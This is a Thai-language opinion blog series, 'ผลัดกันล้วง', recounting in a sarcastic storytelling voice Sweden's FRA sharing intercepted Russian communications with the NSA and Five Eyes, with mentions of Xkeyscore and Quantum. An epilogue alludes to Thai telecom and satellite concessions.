• ผลัดกันล้วง ตอนที่ 4
    นิทานเรื่องจริง เรื่อง “ผลัดกันล้วง”
    ตอนที่ 4 (ตอนจบ)

    “สวีเดน ทำการจารกรรมข้อมูลเกี่ยวกับ รัสเซีย ให้อเมริกามานานแล้ว ”

    โทรทัศน์ สวีเดน Sveriges Television ( SVT ) ออกข่าวนี้ ตั้งแต่ปลายปี 2013 บอกว่า เรื่องนี้อยู่ในเอกสาร ที่นาย Edward Snowden เอามาปูด จนต้องหนีหัวซุกหัวซุนไปน่ะและตอนนี้ นาย Snowden ก็คงกำลังนั่งซุกหัว ซุกตัว อยู่ในที่หลบภัยอุ่นๆ ตรงไหนสักแห่งหนึ่งของรัสเซีย และเล่าเรื่องที่มีรายละเอียดน่าสนใจเพิ่มเติม ให้เจ้าของที่หลบภัยฟังต่อ

    ความจริงเรื่องนี้ไม่ใช่เรื่องใหม่ ผู้สื่อข่าวสวีเดน นาย Martin Jonsson ได้พยายามขุดมา ตั้งแต่ปี 2005 เกี่ยวกับหน่วยงานข่าวกรองของสวีเดน ชื่อ Forsvarets Radioanstalt ( FRA ) แปลคร่าวๆ คือ National Defense Radio Establishment ซึ่งมีข่าวว่า ตั้งขึ้นมา เพื่อทำการจารกรรมข้อมูลจากสัญญาน ( wiretap ) ที่ผ่านไปมาอยู่แถบนั้น ให้กับ National Security Agency (NSA) ของอเมริกา โดยใช้ระบบที่รู้จักกันในชื่อ Echelon ที่โด่งดัง และประสิทธิภาพน่าขนลุก (ที่ใช้ลูกกลมเหมือนลูกปิงปองยักษ์) แต่ความเป็นจริง Echelon เป็นเพียงหนึ่งในระบบต่างๆที่ NSA ใช้ ยังมีระบบอื่นที่น่าตกใจกว่า อีกแยะ.

    นาย Jonsson บอกว่า NSA เป็นหน่วยงานข่าวกรองที่ใหญ่ที่สุดของอเมริกา และเป็นศูนย์กลางของเครือข่ายการดักฟัง ที่ใหญ่ที่สุดในโลก และ FRA ก็เป็นส่วนหนึ่ง ของเครือข่ายนี้

    NSA มีขนาด และเครือข่ายใหญ่กว่า CIA มาก โดย NSA เน้นการหาข่าวกรองจากคลื่นสัญญานต่างๆ ที่ส่งกันทั้ง บนดิน ใต้ดิน บนเรือ ใต้น้ำ บนท้องฟ้า ในเครื่องบิน จากดาวเทียม ฯลฯ โดยมีการทำสัญญาการให้ร่วมมือกัน ระหว่าง อเมริกา อังกฤษ แคนาดา นิวซีแลนด์ และออสเตรเลีย เรียกว่า กลุ่ม Five Eyes ตั้งแต่ ปี 1954 เพื่อแลกเปลี่ยน ข้อมูลระหว่างกันอย่างเข้มข้น โดยเฉพาะในช่วงสงครามเย็น

    นาย Jonssen เล่าว่า ตอนนั้น เราเพียงรู้ว่า เครือข่ายดักฟังข้อมูล มีเพียง 5 ประเทศ ดังกล่าว ต่อมาปี 2007 มีข่าวเล็ดลอดออกมาว่า สวีเดน อาจจะเป็น ประเทศที่ 6 ที่จะได้เข้าไปร่วมกับเครือข่ายนี้ด้วย โดยจะทำสัญญาเพิ่ม ขณะเดียวกัน เพื่อเป็นการเตรียมตัวให้พร้อม สวีเดนก็ดำเนินการออกกฏหมาย ที่รู้จักกันในชื่อ FRA law ให้รัฐสามารถดักฟัง เก็บข้อมูลทุกอย่าง ที่ผ่านเข้ามาในอาณาเขตของสวีเดน ไม่ว่า จะเป็นทางโทรศัพท์ หรือทางเอกสาร ฯลฯได้ ซึ่งเดิมถือว่าเป็นการผิดกฏหมาย ในเรื่องการละเมิดสิทธิ โดยทาง NSA ส่งทีมมาช่วยร่างกฏหมาย เตี๊ยมคำถามคำตอบ ที่ทางรัฐจะต้องตอบกับสภาประชาชนและสื่อ เล่นกันแบบนั้นเลย นึกว่าจะมีแต่แถวบ้านสมันน้อย

    ชาวสวีเดน ต่างออกมาประท้วงร่างกฏหมายฉบับนี้ อย่างมากมาย แต่ในที่สุด ฝ่ายรัฐก็ชนะไปอย่างเฉียดฉิว วันที่ 13 เดือนเมษายน 2007 Odenberg รัฐมนตรีกลาโหมของสวีเดน กับ Chertoff หัวหน้า Homeland Security ของอเมริกา ก็ลงนามในสัญญาที่มีผลให้ สวีเดน รับหน้าที่ ทำการดักฟังการสื่อสารระหว่างประเทศทั้งหมดของรัสเซีย และแชร์ข้อมูลที่ได้รับกับอเมริกา หลังจากนั้นไม่นาน ข่าวเกี่ยวกับสัญญาล้วงตับนี้ก็หลุดออกมาถึงสื่อ รัฐบาลสวีเดนพยายามแก้ตัวว่า มันเป็นเรื่องจำเป็น เกี่ยวกับความมั่นคงของประเทศ เป็นเรื่องธรรมดา หลายประเทศก็ทำสัญญาเช่นนี้กับอเมริกา
    ส่วน FRA law ฝีแตกที่หลัง ชาวสวีเดนเพิ่งรู้เรื่อง ต่างไม่พอใจการกระทำของรัฐบาล สื่อ และพรรคฝ่ายค้าน พากันสอบถามรัฐบาล รัฐบาลแก้ตัวไม่หลุด แถไปเรื่อยๆ ข้อแก้ตัวอันหนึ่ง ที่ทำให้ชาวบ้านยิ่งงงหนัก คือคำตอบที่บอกว่า การล้วงตับรัสเซีย เป็นเรื่องจำเป็น สำหรับการป้องกันพวกทหารของเรา ที่ส่งไปรบที่อาฟกานิสถาน อืม เป็นการอ้างเหตุผลได้บัดซบ ไม่น้อยกว่านักการเมืองแถวบ้านสมันน้อย สวีเดนส่งกองทหารไปช่วยอเมริกาถล่มอาฟกานิสถาน และลิเบียในช่วงปี 2011 รวมทั้งส่งเครื่องบินรบ Saab Gripen ที่โด่งดัง ไปช่วยด้วย

    เป็นการดูแลความมั่นคงของสวีเดน ที่ใช้วิสัยทัศน์ ที่ยาว และระยะทางอ้อมไกลมาก

    สื่อสวีเดนไม่ยอมหยุด ช่วยกันขุดต่อ และนำมาเปิดเผยว่า ประมาณ 80% ของการใช้อินเตอร์เนทระหว่างประเทศของรัสเซีย ต้องผ่านเส้นทางสวีเดน นับว่าอเมริกามีตาแหลมคม เลือกคนล้วงตับได้เก่งจริงๆ นอกจากนี้ TeliaSonera บริษัทร่วมทุนยักษ์ใหญ่ ของสวีเดนและฟินแลนด์ ซึ่งมีเครือข่ายใยแก้ว ( fiberoptic ) ใหญ่ที่สุดของโลกบริษัทหนึ่ง และได้รับสัมปทานประกอบกิจการโทรศัพท์เคลื่อนที่ ในรัสเซียรายหนึ่งนั้น ถ้าดูตามแผนที่ของบริษัท จะเห็นว่า ได้มีการวางแผน การวางเส้นทางสายใยแก้วของบริษัท ที่มีผลให้การสื่อสารของรัสเซีย ต้องทำผ่านสวีเดน การส่งเมล์ และโทรศัพท์ ไปต่างประเทศของรัสเซีย ต้องผ่านสต๊อกโฮมก่อน ไม่ว่าผู้รับจะอยูที่ใด เยี่ยมจริงๆ

    ความร่วม มือระหว่าง FRA กับ NSA ขยายตัวขึ้นอย่างมโหฬาร ตั้งแต่ 2011 NSA สามารถดักฟัง การสื่อสารในประเทศแถบบอลติกได้หมด ผ่านเคเบิลของสวีเดน

    Duncan Campbell สื่อชาวอังกฤษ ประเภทเกาะติด ตามขุดลึกอย่างไม่เลิก ตามสืบเรื่อง การล้วงตับดักฟังข้อมูลต่อ ได้ข้อมูลลึกมาเพียบ เขาบอกว่า องค์กรที่มาร่วมเป็นตาที่ 6 กับกลุ่ม Five Eyes และถือว่าเป็นหุ้นส่วนใหญ่ ที่ ไม่ได้เป็นประเทศ ที่ใช้ภาษาอังกฤษเป็นภาษาแม่ แต่ให้ความร่วมมือเป็นอย่างดียิ่ง กับหน่วยงานของรัฐบาลอังกฤษ UK’s Government Communications Head Quarters (GCHQ) คือสวีเดน!

    ตกลง สวีเดนเป็นนักล้วงตัวจริง ไม่ล้วงธรรมดา ล้วงแล้ว แล้วแหกปากบอกต่อไปทั่วอีกด้วย สวีเดนทำอย่างนี้ทำไม

    โฆษก ของ FRA ยอมรับว่า NSA ของอเมริกา มี full access ผ่านได้ทุกด่าน เข้าได้ตลอดเวลาถึงศูนย์ข้อมูล ที่ฝ่ายข่าวกรองของสวีเดนได้มา เขาให้เหตุผลว่า ” เราคงไม่ทำอะไร โดยไม่ได้อะไรกลับมาหรอกนะ เมื่อเราสามารถหาข้อมูลในส่วนนี้ของโลกได้ เราก็เอาข้อมูลเหล่านี้ ไปแลกกับข้อมูลของส่วนอื่นของโลก ซึ่งยากสำหรับเราที่จะได้มา แต่มันเป็นข้อมูล ที่อาจมีความสำคัญอย่างยิ่งยวด สำหรับนโยบายต่างประเทศของเรา”

    อย่างหนึ่งที่ สวีเดนได้รับมาจาก NSA ในการเป็นมิตรร่วมล้วง คือได้ โปรแกรมสุดยอดสำหรับการตามประกบเป้าหมาย ที่ต้องการจะล้วงลึกถึงสุดทางชื่อ Xkeyscore คือการตาม online ของทุกคนได้อย่างหมดจด อ้อ ไอ้เจ้านี่เอง ที่มันตาม ป่วนลุงนิทาน! โปรแกรมนี้ สามารถทำให้สวีเดน แฮ๊กเข้าไปในคอมพิวเตอร์ และสอดส่องดูกิจกรรมของประชาชน ของตนได้แบบไม่เหลือ อืม มันเลวได้เหมือนกันหมด นอกจากนี้ สวีเดนยังได้เข้าร่วม Project Quantum ที่ว่าเป็นการปฏิบัติการ hijacks ด้านคอมพิวเตอร์ที่สุดยอด
    Edward Snowden พูดถึงฤทธิ์เดช ของ Xkeyscore ไว้ว่า “ผมแค่นั่งอยู่ที่โต๊ะทำงานของ ผม ผมก็สามารถ wiretap ใครก็ได้ จากคุณ หรือบัญชีของคุณ ไปจนถึง ผู้พิพากษาศาลสูง แม้กระทั่งประธานาธิบดี เพียงมีอีเมล์ ของคนนั้นเท่านั้น

    ส่วน Quantum เขาว่า เป็นการใช้คลื่นวิทยุ กับอุปกรณ์ ที่ NSA สร้างขึ้นพิเศษ มีชื่อเรียกกันวงในว่า Cottonmouth I ก็ดูดข้อมูลจากคอมพิวเตอร์ได้หมด แถมส่งต่อไปตามสถานีใหญ่ของ NSA หรือส่งไปสถานีย่อยแบบพกพา portable ได้อีก

    เรื่องการจารกรรมข้อมูลของรัสเซีย โดยสวีเดน เพื่ออเมริกาและพวก เป็นเรื่องที่น่ารังเกียจ และค้านกับการที่สวีเดนประกาศตัวเสมอว่า ฉันเป็นชาติเป็นกลาง มันเป็นกลางแบบที่เราคงนึกกันไม่ถึง โลกนี้ยังมีอะไรอีกแยะที่เรายังไม่รู้ ตราบเท่าที่ยังไม่เอากระป๋องสี่เหลี่ยมที่เขาครอบหัวเราออก

    แล้วรัสเซียรู้เรื่องการล้วงตับ นี้ไหม รัสเซียคงยิ่งกว่ารู้ การเอาเครื่องบินรบ บินเฉี่ยวหัว และเอาเรือดำน้ำ โผล่ขึ้นไปตบหน้า แล้วหายตัวไป เบ็ดเสร็จประมาณ 40 ครั้ง ในรอบ 8 เดือน อย่างที่ครูอี ด่าหน้าเสาธงนั่นแหละ คงเป็นคำตอบของรัสเซียอย่างหนึ่ง ก็ไหนว่ามีมือยาวล้วงได้ล้ำลึกนัก ก็ผลัดกันล้วงบ้างแล้วกัน และเราก็ดูกันต่อไปว่า ที่สุดแล้ว ใครจะล้วงลึก หรือ ลวงลึก ได้กว่ากัน

    สวัสดีครับ
    คนเล่านิทาน
    22 ธค. 2557

    ————————–———————–

    บทส่งท้าย

    เขียนเรื่องเขา ผลัดกันล้วงแล้ว อดนึกถึงเรื่องของเรา สมันน้อยไม่ได้ สมันน้อยเคยถูกล้วงบ้างไหม โดยใคร แล้วยังล้วงกันอยู่หรือเปล่า เคยคิดกันบ้างไหมครับ

    ลองคิดเป็นตัวอย่างเล่นๆ ประมาณ ปี พ.ศ. 2533 แดนสมันน้อยประกาศเชิญชวนติดตั้ง โทรศัพท์ 3 ล้านเลขหมาย แบ่งเป็น กทม. 2 ล้านเลขหมาย ต่างจังหวัด 1 ล้านเลขหมาย ใครประมูลได้ ส่วนไหนบ้าง ใครเป็นคนได้งานวางไฟเบอร์ออพติก ใครรับช่วงต่อ ใครเป็นหัวเรือใหญ่ดูแลต่อรองเงื่อนไข ไปลองหาอ่านกันบ้างก็ดีนะครับ จะได้รู้หนา รู้บาง รู้ข้าง รู้ฝ่าย กันบ้าง

    แล้วลองนึกถึงอีกเรื่อง เมื่อประมาณปี พ.ศ. 2535 แดนสมันน้อยให้สัมปทานดาวเทียม ใครเป็นคนได้สัมปทาน ทำอยู่กี่ปีแล้วดันขายไปให้ใคร ผิดเงื่อนไขสัมปทาน ผิดกฏหมายไหม มีใครคิดดำเนินการอะไรกันบ้างหรือเปล่า

    ตอนนี้ ดาวเทียมของบริษัทที่ขายไป ก็ยังใช้ตำแหน่งวงโคจรประจำ ของสมันน้อยอยู่เหมือนเดิม แต่เจ้าของใหม่กลายเป็นลูกกระเป๋ง ของไอ้นักล่า

    ลองต่อจิ๊กซอว์ เรื่องดาวเทียม โทรศัพท์ และสายไฟเบอร์ออพติก ดูเล่นกันหน่อย เห็นภาพอะไรไหมครับ นี่ยังไม่ได้เอาเรื่องโทรศัพท์เคลื่อนที่มารวมต่อเลยนะ

    ถ้าเห็นภาพแล้ว จะทำอะไรก็ให้มันมิดชิด ระวังกันหน่อยนะครับ เดี๋ยวไอ้คนแอบอ่านแอบดูแอบฟังมันกุ้งยิงกินหมด ฮาออกไหมครับ ผมฮาไม่ออกหรอก ยิ่งเคยเห็นไอ้ลูกปิงปองยักษ์แว็บๆ ยิ่งคิดมาก ใครอยากเห็น นู่นครับ แถวเชียงใหม่ ออกนอกเมืองไปไม่ถึงชั่วโมงมีลูกเบ้อเริ่ม
    ผลัดกันล้วง ตอนที่ 4 นิทานเรื่องจริง เรื่อง “ผลัดกันล้วง” ตอนที่ 4 (ตอนจบ) “สวีเดน ทำการจารกรรมข้อมูลเกี่ยวกับ รัสเซีย ให้อเมริกามานานแล้ว ” โทรทัศน์ สวีเดน Sveriges Television ( SVT ) ออกข่าวนี้ ตั้งแต่ปลายปี 2013 บอกว่า เรื่องนี้อยู่ในเอกสาร ที่นาย Edward Snowden เอามาปูด จนต้องหนีหัวซุกหัวซุนไปน่ะและตอนนี้ นาย Snowden ก็คงกำลังนั่งซุกหัว ซุกตัว อยู่ในที่หลบภัยอุ่นๆ ตรงไหนสักแห่งหนึ่งของรัสเซีย และเล่าเรื่องที่มีรายละเอียดน่าสนใจเพิ่มเติม ให้เจ้าของที่หลบภัยฟังต่อ ความจริงเรื่องนี้ไม่ใช่เรื่องใหม่ ผู้สื่อข่าวสวีเดน นาย Martin Jonsson ได้พยายามขุดมา ตั้งแต่ปี 2005 เกี่ยวกับหน่วยงานข่าวกรองของสวีเดน ชื่อ Forsvarets Radioanstalt ( FRA ) แปลคร่าวๆ คือ National Defense Radio Establishment ซึ่งมีข่าวว่า ตั้งขึ้นมา เพื่อทำการจารกรรมข้อมูลจากสัญญาน ( wiretap ) ที่ผ่านไปมาอยู่แถบนั้น ให้กับ National Security Agency (NSA) ของอเมริกา โดยใช้ระบบที่รู้จักกันในชื่อ Echelon ที่โด่งดัง และประสิทธิภาพน่าขนลุก (ที่ใช้ลูกกลมเหมือนลูกปิงปองยักษ์) แต่ความเป็นจริง Echelon เป็นเพียงหนึ่งในระบบต่างๆที่ NSA ใช้ ยังมีระบบอื่นที่น่าตกใจกว่า อีกแยะ. นาย Jonsson บอกว่า NSA เป็นหน่วยงานข่าวกรองที่ใหญ่ที่สุดของอเมริกา และเป็นศูนย์กลางของเครือข่ายการดักฟัง ที่ใหญ่ที่สุดในโลก และ FRA ก็เป็นส่วนหนึ่ง ของเครือข่ายนี้ NSA มีขนาด และเครือข่ายใหญ่กว่า CIA มาก โดย NSA เน้นการหาข่าวกรองจากคลื่นสัญญานต่างๆ ที่ส่งกันทั้ง บนดิน ใต้ดิน บนเรือ ใต้น้ำ บนท้องฟ้า ในเครื่องบิน จากดาวเทียม ฯลฯ โดยมีการทำสัญญาการให้ร่วมมือกัน ระหว่าง อเมริกา อังกฤษ แคนาดา นิวซีแลนด์ และออสเตรเลีย เรียกว่า กลุ่ม Five Eyes ตั้งแต่ ปี 1954 เพื่อแลกเปลี่ยน ข้อมูลระหว่างกันอย่างเข้มข้น โดยเฉพาะในช่วงสงครามเย็น นาย Jonssen เล่าว่า ตอนนั้น เราเพียงรู้ว่า เครือข่ายดักฟังข้อมูล มีเพียง 5 ประเทศ ดังกล่าว ต่อมาปี 2007 มีข่าวเล็ดลอดออกมาว่า สวีเดน อาจจะเป็น ประเทศที่ 6 ที่จะได้เข้าไปร่วมกับเครือข่ายนี้ด้วย โดยจะทำสัญญาเพิ่ม ขณะเดียวกัน เพื่อเป็นการเตรียมตัวให้พร้อม สวีเดนก็ดำเนินการออกกฏหมาย ที่รู้จักกันในชื่อ FRA law ให้รัฐสามารถดักฟัง เก็บข้อมูลทุกอย่าง ที่ผ่านเข้ามาในอาณาเขตของสวีเดน ไม่ว่า จะเป็นทางโทรศัพท์ หรือทางเอกสาร ฯลฯได้ ซึ่งเดิมถือว่าเป็นการผิดกฏหมาย ในเรื่องการละเมิดสิทธิ โดยทาง NSA ส่งทีมมาช่วยร่างกฏหมาย เตี๊ยมคำถามคำตอบ ที่ทางรัฐจะต้องตอบกับสภาประชาชนและสื่อ เล่นกันแบบนั้นเลย นึกว่าจะมีแต่แถวบ้านสมันน้อย ชาวสวีเดน ต่างออกมาประท้วงร่างกฏหมายฉบับนี้ อย่างมากมาย แต่ในที่สุด ฝ่ายรัฐก็ชนะไปอย่างเฉียดฉิว วันที่ 13 เดือนเมษายน 2007 Odenberg รัฐมนตรีกลาโหมของสวีเดน กับ Chertoff หัวหน้า Homeland Security ของอเมริกา ก็ลงนามในสัญญาที่มีผลให้ สวีเดน รับหน้าที่ ทำการดักฟังการสื่อสารระหว่างประเทศทั้งหมดของรัสเซีย และแชร์ข้อมูลที่ได้รับกับอเมริกา หลังจากนั้นไม่นาน ข่าวเกี่ยวกับสัญญาล้วงตับนี้ก็หลุดออกมาถึงสื่อ รัฐบาลสวีเดนพยายามแก้ตัวว่า มันเป็นเรื่องจำเป็น เกี่ยวกับความมั่นคงของประเทศ เป็นเรื่องธรรมดา หลายประเทศก็ทำสัญญาเช่นนี้กับอเมริกา ส่วน FRA law ฝีแตกที่หลัง ชาวสวีเดนเพิ่งรู้เรื่อง ต่างไม่พอใจการกระทำของรัฐบาล สื่อ และพรรคฝ่ายค้าน พากันสอบถามรัฐบาล รัฐบาลแก้ตัวไม่หลุด แถไปเรื่อยๆ ข้อแก้ตัวอันหนึ่ง ที่ทำให้ชาวบ้านยิ่งงงหนัก คือคำตอบที่บอกว่า การล้วงตับรัสเซีย เป็นเรื่องจำเป็น สำหรับการป้องกันพวกทหารของเรา ที่ส่งไปรบที่อาฟกานิสถาน อืม เป็นการอ้างเหตุผลได้บัดซบ ไม่น้อยกว่านักการเมืองแถวบ้านสมันน้อย สวีเดนส่งกองทหารไปช่วยอเมริกาถล่มอาฟกานิสถาน และลิเบียในช่วงปี 2011 รวมทั้งส่งเครื่องบินรบ Saab Gripen ที่โด่งดัง ไปช่วยด้วย เป็นการดูแลความมั่นคงของสวีเดน ที่ใช้วิสัยทัศน์ ที่ยาว และระยะทางอ้อมไกลมาก สื่อสวีเดนไม่ยอมหยุด ช่วยกันขุดต่อ และนำมาเปิดเผยว่า ประมาณ 80% ของการใช้อินเตอร์เนทระหว่างประเทศของรัสเซีย ต้องผ่านเส้นทางสวีเดน นับว่าอเมริกามีตาแหลมคม เลือกคนล้วงตับได้เก่งจริงๆ นอกจากนี้ TeliaSonera บริษัทร่วมทุนยักษ์ใหญ่ ของสวีเดนและฟินแลนด์ ซึ่งมีเครือข่ายใยแก้ว ( fiberoptic ) ใหญ่ที่สุดของโลกบริษัทหนึ่ง และได้รับสัมปทานประกอบกิจการโทรศัพท์เคลื่อนที่ ในรัสเซียรายหนึ่งนั้น ถ้าดูตามแผนที่ของบริษัท จะเห็นว่า ได้มีการวางแผน การวางเส้นทางสายใยแก้วของบริษัท ที่มีผลให้การสื่อสารของรัสเซีย ต้องทำผ่านสวีเดน การส่งเมล์ และโทรศัพท์ ไปต่างประเทศของรัสเซีย ต้องผ่านสต๊อกโฮมก่อน ไม่ว่าผู้รับจะอยูที่ใด เยี่ยมจริงๆ ความร่วม มือระหว่าง FRA กับ NSA ขยายตัวขึ้นอย่างมโหฬาร ตั้งแต่ 2011 NSA สามารถดักฟัง การสื่อสารในประเทศแถบบอลติกได้หมด ผ่านเคเบิลของสวีเดน Duncan Campbell สื่อชาวอังกฤษ ประเภทเกาะติด ตามขุดลึกอย่างไม่เลิก ตามสืบเรื่อง การล้วงตับดักฟังข้อมูลต่อ ได้ข้อมูลลึกมาเพียบ เขาบอกว่า องค์กรที่มาร่วมเป็นตาที่ 6 กับกลุ่ม Five Eyes และถือว่าเป็นหุ้นส่วนใหญ่ ที่ ไม่ได้เป็นประเทศ ที่ใช้ภาษาอังกฤษเป็นภาษาแม่ แต่ให้ความร่วมมือเป็นอย่างดียิ่ง กับหน่วยงานของรัฐบาลอังกฤษ UK’s Government Communications Head Quarters (GCHQ) คือสวีเดน! ตกลง สวีเดนเป็นนักล้วงตัวจริง ไม่ล้วงธรรมดา ล้วงแล้ว แล้วแหกปากบอกต่อไปทั่วอีกด้วย สวีเดนทำอย่างนี้ทำไม โฆษก ของ FRA ยอมรับว่า NSA ของอเมริกา มี full access ผ่านได้ทุกด่าน เข้าได้ตลอดเวลาถึงศูนย์ข้อมูล ที่ฝ่ายข่าวกรองของสวีเดนได้มา เขาให้เหตุผลว่า ” เราคงไม่ทำอะไร โดยไม่ได้อะไรกลับมาหรอกนะ เมื่อเราสามารถหาข้อมูลในส่วนนี้ของโลกได้ เราก็เอาข้อมูลเหล่านี้ ไปแลกกับข้อมูลของส่วนอื่นของโลก ซึ่งยากสำหรับเราที่จะได้มา แต่มันเป็นข้อมูล ที่อาจมีความสำคัญอย่างยิ่งยวด สำหรับนโยบายต่างประเทศของเรา” อย่างหนึ่งที่ สวีเดนได้รับมาจาก NSA ในการเป็นมิตรร่วมล้วง คือได้ โปรแกรมสุดยอดสำหรับการตามประกบเป้าหมาย ที่ต้องการจะล้วงลึกถึงสุดทางชื่อ Xkeyscore คือการตาม online ของทุกคนได้อย่างหมดจด อ้อ ไอ้เจ้านี่เอง ที่มันตาม ป่วนลุงนิทาน! โปรแกรมนี้ สามารถทำให้สวีเดน แฮ๊กเข้าไปในคอมพิวเตอร์ และสอดส่องดูกิจกรรมของประชาชน ของตนได้แบบไม่เหลือ อืม มันเลวได้เหมือนกันหมด นอกจากนี้ สวีเดนยังได้เข้าร่วม Project Quantum ที่ว่าเป็นการปฏิบัติการ hijacks ด้านคอมพิวเตอร์ที่สุดยอด Edward Snowden พูดถึงฤทธิ์เดช ของ Xkeyscore ไว้ว่า “ผมแค่นั่งอยู่ที่โต๊ะทำงานของ ผม ผมก็สามารถ wiretap ใครก็ได้ จากคุณ หรือบัญชีของคุณ ไปจนถึง ผู้พิพากษาศาลสูง แม้กระทั่งประธานาธิบดี เพียงมีอีเมล์ ของคนนั้นเท่านั้น ส่วน Quantum เขาว่า เป็นการใช้คลื่นวิทยุ กับอุปกรณ์ ที่ NSA สร้างขึ้นพิเศษ มีชื่อเรียกกันวงในว่า Cottonmouth I ก็ดูดข้อมูลจากคอมพิวเตอร์ได้หมด แถมส่งต่อไปตามสถานีใหญ่ของ NSA หรือส่งไปสถานีย่อยแบบพกพา portable ได้อีก เรื่องการจารกรรมข้อมูลของรัสเซีย โดยสวีเดน เพื่ออเมริกาและพวก เป็นเรื่องที่น่ารังเกียจ และค้านกับการที่สวีเดนประกาศตัวเสมอว่า ฉันเป็นชาติเป็นกลาง มันเป็นกลางแบบที่เราคงนึกกันไม่ถึง โลกนี้ยังมีอะไรอีกแยะที่เรายังไม่รู้ ตราบเท่าที่ยังไม่เอากระป๋องสี่เหลี่ยมที่เขาครอบหัวเราออก แล้วรัสเซียรู้เรื่องการล้วงตับ นี้ไหม รัสเซียคงยิ่งกว่ารู้ การเอาเครื่องบินรบ บินเฉี่ยวหัว และเอาเรือดำน้ำ โผล่ขึ้นไปตบหน้า แล้วหายตัวไป เบ็ดเสร็จประมาณ 40 ครั้ง ในรอบ 8 เดือน อย่างที่ครูอี ด่าหน้าเสาธงนั่นแหละ คงเป็นคำตอบของรัสเซียอย่างหนึ่ง ก็ไหนว่ามีมือยาวล้วงได้ล้ำลึกนัก ก็ผลัดกันล้วงบ้างแล้วกัน และเราก็ดูกันต่อไปว่า ที่สุดแล้ว ใครจะล้วงลึก หรือ ลวงลึก ได้กว่ากัน สวัสดีครับ คนเล่านิทาน 22 ธค. 2557 ————————–———————– บทส่งท้าย เขียนเรื่องเขา ผลัดกันล้วงแล้ว อดนึกถึงเรื่องของเรา สมันน้อยไม่ได้ สมันน้อยเคยถูกล้วงบ้างไหม โดยใคร แล้วยังล้วงกันอยู่หรือเปล่า เคยคิดกันบ้างไหมครับ ลองคิดเป็นตัวอย่างเล่นๆ ประมาณ ปี พ.ศ. 2533 แดนสมันน้อยประกาศเชิญชวนติดตั้ง โทรศัพท์ 3 ล้านเลขหมาย แบ่งเป็น กทม. 2 ล้านเลขหมาย ต่างจังหวัด 1 ล้านเลขหมาย ใครประมูลได้ ส่วนไหนบ้าง ใครเป็นคนได้งานวางไฟเบอร์ออพติก ใครรับช่วงต่อ ใครเป็นหัวเรือใหญ่ดูแลต่อรองเงื่อนไข ไปลองหาอ่านกันบ้างก็ดีนะครับ จะได้รู้หนา รู้บาง รู้ข้าง รู้ฝ่าย กันบ้าง แล้วลองนึกถึงอีกเรื่อง เมื่อประมาณปี พ.ศ. 2535 แดนสมันน้อยให้สัมปทานดาวเทียม ใครเป็นคนได้สัมปทาน ทำอยู่กี่ปีแล้วดันขายไปให้ใคร ผิดเงื่อนไขสัมปทาน ผิดกฏหมายไหม มีใครคิดดำเนินการอะไรกันบ้างหรือเปล่า ตอนนี้ ดาวเทียมของบริษัทที่ขายไป ก็ยังใช้ตำแหน่งวงโคจรประจำ ของสมันน้อยอยู่เหมือนเดิม แต่เจ้าของใหม่กลายเป็นลูกกระเป๋ง ของไอ้นักล่า ลองต่อจิ๊กซอว์ เรื่องดาวเทียม โทรศัพท์ และสายไฟเบอร์ออพติก ดูเล่นกันหน่อย เห็นภาพอะไรไหมครับ นี่ยังไม่ได้เอาเรื่องโทรศัพท์เคลื่อนที่มารวมต่อเลยนะ ถ้าเห็นภาพแล้ว จะทำอะไรก็ให้มันมิดชิด ระวังกันหน่อยนะครับ เดี๋ยวไอ้คนแอบอ่านแอบดูแอบฟังมันกุ้งยิงกินหมด ฮาออกไหมครับ ผมฮาไม่ออกหรอก ยิ่งเคยเห็นไอ้ลูกปิงปองยักษ์แว็บๆ ยิ่งคิดมาก ใครอยากเห็น นู่นครับ แถวเชียงใหม่ ออกนอกเมืองไปไม่ถึงชั่วโมงมีลูกเบ้อเริ่ม
    0 ความคิดเห็น 0 การแบ่งปัน 42 มุมมอง 0 รีวิว
  • ผลัดกันล้วง ตอนที่ 2
    นิทานเรื่องจริง เรื่อง “ผลัดกันล้วง”
    ตอนที่ 2

    ก่อนหน้ารายการ บินเฉี่ยวหัว ไม่กี่วัน แถวๆเกาะใหญ่เท่าปลายนิ้วก้อยฯ ก็มีเหตุการณ์ตื่นตูมกัน

    The Telegraph สื่อเสียงดังของชาวเกาะใหญ่เท่าปลายนิ้วก้อยฯ ออกข่าวเมื่อวันที่ 10 ธันวาคม 2014 สรุปว่า เครื่องบินลาดตระเวนจากฝรั่งเศส อเมริกา และแคนาดา ถูกเรียกให้มาร่วมด้วยช่วยกัน กับราชนาวีของชาวเกาะ ที่เคยโม้ไว้ว่าใหญ่คับฟ้า แต่คราวนี้โม้ไม่ออก ต้องส่งเสียงเรียกพวกให้มาช่วยกันตามล่า วัตถุที่ต้องสงสัยกันว่า เป็นเรือดำน้ำ แต่ดันไปโผล่พ้นน้ำ โชว์อยู่แถวตะวันตกของสก๊อตแลนด์ ช่วงปลายเดือนพฤศจิกายน

    เครืองบินลาดตะเวน ที่ถูกชาวเกาะจีบปากเรียกให้มา ใช้เวลาบินตรวจแถว Lossiemouth ของสก๊อตแลนด์อยู่หลายวัน ไม่พบอะไร แม้แต่ล๊อคเนส พญานาคสัญชาติสก๊อต ก็ไม่แวบมาให้ชม ข่าวบอกว่า วัตถุต้องสงสัยว่าเป็นเรือดำน้ำนั้น น่าจะเป็นของรัสเซีย ที่เพิ่งไปแวะเยี่ยมน่านน้ำสวีเดน ( ฮั่นแน่ เรื่องนี้เอง ) เมื่อประมาณเดือนตุลาคม ซึ่งสวีเดนเม้มปากแน่น ไม่ยอมแอะออกมา เพราะกลัวเสียหน้า ไม่เสียยังไง เขาว่า เรือดำน้ำโผล่หัวขึ้นมาสวัสดี ที่ทะเลหน้ากรุงสต๊อกโฮม เมืองหลวงเลยนะ นี่มันไม่ใช่แค่เฉี่ยวหัว แต่มันเปียกเต็มหน้า แล้วก็จับไม่ได้คาหนัง แบบนี้จะไม่ให้แค้นค้างบัญชีได้ยังไง

    ที่เสียหน้าไม่แพ้กัน ก็ชาวเกาะใหญ่เท่าปลายนิ้วก้อยของเท้าซ้ายนั่นแหละคุยดีนั กว่า กองทัพเรืออังกฤษ ใหญ่เป็นที่หนึ่งของโลก ปี 2010 ชาวเกาะถังแตก ไม่ต่างกับ นักล่าใบตองแห้ง ต้องตัตงบด้านความมั่นคง เอาอย่างกัน เลยต้องแบกหน้าอันยิ่งใหญ่ เรียกให้ลูกสมุนมาด่วน มาช่วยกันค้นหา ไอ้ตัวที่กำลังดำน้ำมาล้วงคอพวกเรา

